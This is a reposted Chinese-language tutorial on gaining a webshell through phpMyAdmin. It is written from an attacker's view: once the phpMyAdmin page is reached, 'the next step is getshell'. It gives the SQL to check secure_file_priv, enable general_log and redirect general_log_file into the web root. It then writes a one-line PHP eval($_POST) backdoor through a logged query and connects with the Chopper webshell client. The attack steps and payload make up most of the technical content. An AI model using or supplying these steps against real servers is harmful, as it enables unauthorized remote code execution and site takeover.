首頁 > 資料庫 > php我的管理者 > 關於phpmyadmin新姿勢getshell

關於phpmyadmin新姿勢getshell

藏色散人
發布: 2020-12-29 17:08:58
轉載
3245 人瀏覽過

下面由phpmyadmin使用教學專欄來介紹phpmyadmin新姿勢getshell,希望對需要的朋友有幫助!

關於phpmyadmin新姿勢getshell

百度百科:phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優點在於因為phpMyAdmin跟其他PHP程式一樣在網頁伺服器上執行,但您可以在任何地方使用這些程式產生的HTML頁面,也就是遠端管理MySQL資料庫,方便的建立、修改、刪除資料庫及資料表。也可藉由phpMyAdmin建立常用的php語法,方便編寫網頁時所需的sql語法正確性。

通俗的講 其作用就是可以在web頁面方便的操作資料庫。

當我們得到一個網站的phpmyadmin頁面時,下一步要做的就是getshell。

可以透過寫入shell來提權,而我們需要滿足以下條件:

1.資料庫root權限

2.知道網站的實體路徑

#3.資料庫有寫入權限

透過  select '' INTO OUTFILE '網站物理路徑' 寫入shell 

#本文主要講的是在條件3不滿足的情況下成功getshell。

 利用條件:MySQL 5.0

MySQL 5.0 的版本會自動建立日誌文件,那麼在服務運行的情況下修改全域變數也是可以變動檔案位置的,但是必須對產生日誌的目錄有可讀可寫的權限。

(Linux環境下可能會比較苛刻,因為網站目錄是個用戶,MySQL是另一個用戶,權限管控較為嚴格,主要取決於權限配置是否得當)

首先我們測試站點是否有寫權限

執行sql語句               SHOW VARIABLES LIKE 'secure_file_priv'

sql語句 SHOW VARIABLES LIKE 'secure_file_priv'  進行查詢尋找secure_file_priv

secure-file-priv特性
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysql 不允許導入|匯出

  • 當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|匯出只能發生在/tmp/目錄下

  • 當secure_file_priv的值沒有特定值時,表示不對mysql 的導入|導出做限制

可以在mysql-ini檔案中設定其屬性

#經過測試,我們沒有寫入權限

 

然後再介紹兩個MySQL全域變數(general_log、general_log file

  1. general log 指的是日誌儲存狀態,總共有兩個值(ON/OFF)ON代表開啟OFF代表關閉。
  2. general log file 指的是日誌的儲存路徑。

我們可以透過將一句話木馬寫入mysql日誌中然後移動mysql日誌路徑到網站目錄下實現getshell

執行sql語句   SHOW VARIABLES LIKE 'general_log% '  進行模糊查詢

日誌預設關閉

我們執行sql語句    

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径
登入後複製

#成功創建

然后执行特殊的查询语句

select  &#39;<?php eval($_POST[aaa]);?>&#39;
登入後複製

我们进入112233.php进行验证,成功写入shell

 最后进行菜刀连接,获得站点webshell

 

以上是關於phpmyadmin新姿勢getshell的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:csdn.net
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板